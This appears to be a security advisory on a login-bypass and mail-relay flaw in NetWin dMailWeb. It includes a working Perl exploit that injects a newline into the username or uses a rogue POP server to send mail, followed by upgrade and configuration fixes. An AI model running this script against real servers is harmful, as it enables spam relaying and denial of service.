COMMAND
dMailWeb
SYSTEMS AFFECTED
NetWin dMailWeb
PROBLEM
Chris Wolfe found following. NetWin cwMail also appears
vulnerable to the same attacks, and appears to be using exactly
the same version numbers. dMailWeb is a CGI application used to
provide web-based e-mail in collaboration with a standard POP
server. Authentication is performed by attempting to log into the
requested POP server with the supplied username password. An
optional feature allows connection to POP server other than the
default (or to a limited list of POP servers).
This relaying problem appears in two cases.
Case A: By sending a specially constructed username containing a
newline character any login will be accepted and permitted
to send messages through the server. This attack does
*not* require any knowledge of accounts present on the
server or a valid login.
Case B: If the dMailWeb system is allowed to authenticate with a
POP server that the attacker controls the server can have
a large number of accounts created, or simply reply OK to
any username/password combination.
In both cases the attacker can circumvent the max_sends option by
changing users periodically and transmit virtually unlimited
quantities of e-mail through the default SMTP server used by the
dMailWeb process. This also presents a possible denial of service
through overloading the system with user configurations.
Exploit was tested against an internal system and the NetWin demo
server. The script sends a single message; a very similar program
could transfer massive quantities of mail.
#!/usr/local/bin/perl
use HTML::TokeParser;
use LWP::UserAgent;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new();
my $url = 'insert dmailweb URL here';
#
# To exploit case A use a $user = "any-username\nuser garbage" and
# comment out the my $pophost = ... line.
#
# To exploit case B use a $user that is valid on the $pophost server.
#
my $user = 'insert username here';
my $pass = 'insert password here';
my $pophost = 'insert pop host here';
my $to = 'insert e-mail to address';
my $subject = 'insert e-mail subject';
my $message = 'insert e-mail message';
my $r;
my $tcode;
{ # Login - read the tcode
$r = $ua->request(GET $url);
my $p = HTML::TokeParser->new(\$r->content);
while (my @tok = @{$p->get_token}) {
if ($tok[0] eq 'S' && $tok[1] eq 'input' && $tok[2]->{name} eq 'tcode') {
$tcode = $tok[2]->{value};
last;
}
}
}
if (!$tcode) { print ($r->content); exit(1); }
my $utoken;
{ # Send login, get utoken
$r = $ua->request(POST($url, [
cmd => 'nflogin',
user => $user,
pass => $pass,
pophost => $pophost,
tcode => $tcode
]));
my $p = HTML::TokeParser->new(\$r->content);
while (my @tok = @{$p->get_token}) {
if ($tok[0] eq 'S' && $tok[1] eq 'input' && $tok[2]->{name} eq 'utoken') {
$utoken = $tok[2]->{value};
last;
}
}
}
{ # Send message
$r = $ua->request(POST($url, [
cmd => 'send',
utoken => $utoken,
to => $to,
subject => $subject,
message => $message
]));
}
if (!$utoken) { print ($r->content); exit(1); }
print $r->content;
SOLUTION
Case A was been fixed in dMailWeb 2.6g -- this version is not
currently available but the current Beta versions (2.6i and 2.6j)
also fix the problem. Not aware of any reasonable fix without
moving to a newer version of dMailWeb.
Case B is made possible by the default configuration of the
dMailWeb product which allows any POP server to be accessed.
NetWin's documentation is not adequate and this problem may exist
on many sites. Either of
force_primary = true
valid_pop = {list of trusted POP servers}
should solve the problem. force_primary disables the pophost
field in the login form, only making it possible to connect to
the default POP server at login. valid_pop specifies a list of
POP servers to which the service may connect, others will be
denied with an error message.
Consider applying restrictions on the number of messages the
dMailWeb service will be permitted to send over a short period at
the SMTP server, though this would allow a denial of service
attack. Monitor SMTP logs for large numbers of messages from the
server running dMailWeb.